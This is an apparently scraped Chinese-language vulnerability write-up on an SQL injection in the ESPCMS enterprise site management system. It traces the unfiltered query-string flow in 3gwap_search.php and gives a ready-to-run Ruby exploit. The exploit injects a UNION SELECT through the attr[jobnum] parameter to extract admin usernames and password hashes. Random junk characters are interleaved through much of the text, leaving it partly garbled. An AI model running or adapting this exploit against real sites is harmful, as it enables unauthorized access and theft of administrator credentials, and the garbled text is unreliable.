0×0 漏洞概述0×1 漏洞细节' r4 V, ` k6 j6 k% W; q$ d
0×2 PoC
3 M% l' o! y) R3 x3 N- Z; p
5 h% `7 `1 k; M+ ]
# }- c s* ~ L5 J( o. D& w- |4 G
& H& e! k( B7 Y, i, b0×0 漏洞概述
/ s* _ E6 a8 K& x2 B E
1 W' ]* i6 f1 w: b. W% F1 J易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
4 n; m& ^* q. N) C* M% H其在处理传入的参数时考虑不严谨导致SQL注入发生# u* O' ^( U, P
m, P( W/ M6 C; x, c# r8 s, ]
& X/ F% T* L: w( |9 `% \6 N u0×1 漏洞细节
9 c6 }( l3 u9 F2 j/ H& G" T% `% U+ k! U8 V, U7 R4 r8 `+ V
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 g e. S5 |0 x( a" z/ l" N; Q# ~
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。5 p8 r/ Q. W# T
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。4 s$ y0 `+ b7 n# @# t" a4 x; L0 n
: U0 D9 a4 R1 x0 E2 d在/interface/3gwap_search.php文件的in_result函数中:# L9 l6 N$ N# D& k* _( Z2 B
$ F. N$ O T P6 S5 g% U k+ Y2 ~4 [7 |! c C- i+ r; |$ t( q
1 W% @7 M% @ G% w( g5 W function in_result() {3 ?- U9 C. a$ l7 V" b* k; t
... ... ... ... ... ... ... ... ...; ]" G8 ?# v' J- [& d
$urlcode = $_SERVER[ 'QUERY_STRING '];2 n( p% }. [9 I5 G% q+ b. u
parse_str(html_entity_decode($urlcode), $output);7 x$ L$ v* q. P3 r: B
& l6 l2 |# W# c$ o8 \: R ... ... ... ... ... ... ... ... ...' j D( Y/ o4 Q. \% [; D9 p
if (is_array($output['attr' ]) && count($output['attr']) > 0) {! a3 o' f% h& z7 x8 B1 W
0 B/ |3 _( F, K$ i) j
$db_table = db_prefix . 'model_att';
1 u* e' `' d8 f' g
1 a& z) i& b F; o& q1 x foreach ($output['attr' ] as $key => $value) {- Y3 b" c, z- R: M" i9 u/ S
if ($value) {0 x- U5 b: G( A( h2 V
( d, p2 z7 a- H
$key = addslashes($key);; N; B' l- s0 A* f8 t; ^. C# g
$key = $this-> fun->inputcodetrim($key);
; o% S# U P) c- ` $db_att_where = " WHERE isclass=1 AND attrname='$key'";2 y0 ? } S. u! D5 Q
$countnum = $this->db_numrows($db_table, $db_att_where);+ y( g6 U; R$ M2 {+ k
if ($countnum > 0) {
9 e3 `9 j* N9 K+ P0 |2 H $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
7 n+ `+ M/ P$ @/ B; m& u& S }) Z3 R0 d, N$ U
}
6 V2 T2 b1 C: Y }0 s* \* j3 g2 t: S! h
}
% Q5 R: z( q9 f6 c1 ` if (!empty ($keyword) && empty($keyname)) {
5 ]6 P) _) g& A: D8 }4 W9 H$ o $keyname = 'title';
6 V" O8 V- }5 d7 \+ B5 P $db_where.= " AND a.title like '%$keyword%'" ;
0 s2 G5 {# j C( E } elseif (!empty ($keyword) && !empty($keyname)) {
& a" v$ u u; Q/ y1 U1 W4 B $db_where.= " AND $keyname like '% $keyword%'";
' ?/ K) ^) `3 o3 ]/ \/ b }
" p8 i% I1 I* m9 @+ b5 {1 c $pagemax = 15;
. f% X" E# q7 l+ c3 ~8 q( a( b$ n+ x1 ?
$pagesylte = 1;- K8 U2 W" c6 E! ?, i2 `
! w/ E4 @" c9 v: h& J, V if ($countnum > 0) {* I+ y. d- }$ ]5 S% q) @% f$ }
$ b F G- t o, {$ | S1 K9 { $numpage = ceil($countnum / $pagemax);% W7 M7 p- @% Z/ i) G" D
} else {
# y& } [, U! d1 H8 n8 I# L, } $numpage = 1;
# X1 V$ c- Y8 H/ [ }( f8 s2 f: [) S( @; p6 m* P
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;. _4 l* w. T" g1 O: C
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);0 E3 M+ b9 l7 O$ C
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
# g9 J2 J9 P4 X2 P1 `( Q( P8 m; Q3 \- U ... ... ... ... ... ... ... ... ...2 x% a4 z8 T. j. ]# Q1 }! V, W
}
* `: R4 [0 K& f* N. H% E; k0 s U+ J ?$ Y4 Y1 w1 _
3 Q/ d( ~9 U3 V: C7 a
0×2 PoC, w i0 n# {0 d) ]4 @
$ k* Y6 f* h" L, x6 k/ x2 N2 i& T/ X4 f
, w: D( D A7 {& y: K' Zrequire "net/http"- l( J7 D' U k m# e
: i) [% w" ]& V# Tdef request(method, url)& E& D& U$ j* W
if method.eql?("get")5 Q5 } y1 B1 }# B
uri = URI.parse(url)
6 e3 K9 w ]6 _# o! }+ A0 k http = Net::HTTP.new(uri.host, uri.port)1 s& w9 t" }- p2 S1 s- H* J3 \& x
response = http.request(Net::HTTP::Get.new(uri.request_uri))
% a% _, n; s3 j: K5 }6 t return response
# X% z0 G) y- C6 x9 a) g" d end" }: W9 d3 `, ~6 V0 s/ u% o k: c' h
end
5 F8 G. O# \# _9 e0 d" C* a: B
doc =<<HERE
. P8 x" ~! |8 ]-------------------------------------------------------
+ }3 [0 q; Y$ y: p; P7 j9 ~Espcms Injection Exploit
: W, n& E: C8 Q% g9 ?3 `+ eAuthor:ztz6 P" R" i5 @" E7 c' M6 u% B I' h
Blog:http://ztz.fuzzexp.org/$ r" H. Q5 w2 c0 g$ A' [
-------------------------------------------------------6 X. L5 s2 |7 }# z! h7 L( G
6 T5 G' K6 s9 }4 F5 r4 M1 a
HERE
1 f+ T5 }7 ~+ E& J/ d' M, _0 o
" x' r. |9 B4 M# ?* P9 Y0 Pusage =<<HERE0 x- H/ }8 ~: b" f8 W' K! T; c8 s
Usage: ruby #{$0} host port path2 p: y3 R; E7 J9 Z5 w# |& r
example: ruby #{$0} www.target.com 80 /4 N& M4 @# |, d# a; \7 _
HERE
7 H: r6 z% r' G* ~
; h% G* P% f# Vputs doc
% A1 y+ r B4 b4 {+ f# h- _. kif ARGV.length < 3/ h4 _8 d1 z% }% ?2 I/ ?9 f
puts usage
) m! [# l3 t4 g& k3 `. T9 @% _. F3 oelse4 `, i) R! ^! z3 q: y
$host = ARGV[0]4 W6 W+ S: f# V5 N" E$ Q( ~
$port = ARGV[1]
6 e% D N1 l7 {, [3 m5 V $path = ARGV[2]5 c9 D8 L& q" A8 A8 P9 {. x, d" A- _
4 P; `# i) s6 y# Q, L1 H
puts "send request..."2 a4 l% B* {9 ?1 T8 I. y; o
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&# f; y- q' z% D% ]6 H* d' ?
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13. h1 d8 h0 a3 Q, j* K+ m
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
+ L& L5 K" a6 U# d! x1 h. J,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"" H5 N! l. f' I( |0 D. M! L
response = request("get", url)3 |5 ^2 q& Z( A! F6 M* a' K
result = response.body.scan(/\w+&\w{32}/)* |4 }* [% e) l! v1 ~
puts result
4 c% H! H& g$ aend
6 a" E( [9 ]5 h5 i; j) \
+ I0 A0 S1 h5 K7 h" I |